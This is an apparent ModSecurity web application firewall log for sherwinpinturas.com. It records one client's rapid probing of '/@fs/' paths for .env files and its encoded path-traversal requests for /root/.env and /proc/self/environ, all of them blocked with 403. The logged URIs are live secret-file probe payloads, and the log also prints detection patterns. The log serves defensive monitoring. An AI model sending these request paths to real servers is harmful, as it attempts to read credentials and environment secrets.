[Sun Oct 25 13:00:03.978628 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at41k8sxP9Gbm0IYLGL8jAAAACI"]
[Sun Oct 25 13:00:04.069470 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at41lBKqFxYAd_HiRLeloQAAABQ"]
[Sun Oct 25 13:00:04.069865 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at41lBKqFxYAd_HiRLeloQAAABQ"]
[Sun Oct 25 13:00:04.070106 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at41lBKqFxYAd_HiRLeloQAAABQ"]
[Sun Oct 25 13:00:04.122312 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at41lFR7hiVQnPOARxKt1QAAAC4"]
[Sun Oct 25 13:00:04.122949 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at41lFR7hiVQnPOARxKt1QAAAC4"]
[Sun Oct 25 13:00:04.123357 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at41lFR7hiVQnPOARxKt1QAAAC4"]
[Sun Oct 25 13:00:04.138347 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8QAAAD8"]
[Sun Oct 25 13:00:04.138806 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8QAAAD8"]
[Sun Oct 25 13:00:04.139112 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8QAAAD8"]
[Sun Oct 25 13:00:04.149030 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lJhqgnbPQM86Wt8CcwAAAEc"]
[Sun Oct 25 13:00:04.149603 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lJhqgnbPQM86Wt8CcwAAAEc"]
[Sun Oct 25 13:00:04.149929 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lJhqgnbPQM86Wt8CcwAAAEc"]
[Sun Oct 25 13:00:04.152588 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lMsxP9Gbm0IYLGL8jQAAACI"]
[Sun Oct 25 13:00:04.152664 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lMsxP9Gbm0IYLGL8jQAAACI"]
[Sun Oct 25 13:00:04.152983 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lMsxP9Gbm0IYLGL8jQAAACI"]
[Sun Oct 25 13:00:04.153235 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lMsxP9Gbm0IYLGL8jQAAACI"]
[Sun Oct 25 13:00:04.160087 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lKVYo_M4gKYSsLPZaQAAAAA"]
[Sun Oct 25 13:00:04.160752 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lKVYo_M4gKYSsLPZaQAAAAA"]
[Sun Oct 25 13:00:04.161057 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lKVYo_M4gKYSsLPZaQAAAAA"]
[Sun Oct 25 13:00:04.193592 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNQAAAAk"]
[Sun Oct 25 13:00:04.193673 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNQAAAAk"]
[Sun Oct 25 13:00:04.193706 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNQAAAAk"]
[Sun Oct 25 13:00:04.193788 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNQAAAAk"]
[Sun Oct 25 13:00:04.194413 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNQAAAAk"]
[Sun Oct 25 13:00:04.194729 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNQAAAAk"]
[Sun Oct 25 13:00:04.266946 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at41lGu-o0KBJy2cxdBI6AAAAAM"]
[Sun Oct 25 13:00:04.267024 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at41lGu-o0KBJy2cxdBI6AAAAAM"]
[Sun Oct 25 13:00:04.267055 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at41lGu-o0KBJy2cxdBI6AAAAAM"]
[Sun Oct 25 13:00:04.267505 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at41lGu-o0KBJy2cxdBI6AAAAAM"]
[Sun Oct 25 13:00:04.267824 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at41lGu-o0KBJy2cxdBI6AAAAAM"]
[Sun Oct 25 13:00:04.363758 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at41lKVYo_M4gKYSsLPZagAAAAA"]
[Sun Oct 25 13:00:04.364349 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at41lKVYo_M4gKYSsLPZagAAAAA"]
[Sun Oct 25 13:00:04.364702 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at41lKVYo_M4gKYSsLPZagAAAAA"]
[Sun Oct 25 13:00:04.368798 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at41lMsxP9Gbm0IYLGL8jgAAACI"]
[Sun Oct 25 13:00:04.369408 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at41lMsxP9Gbm0IYLGL8jgAAACI"]
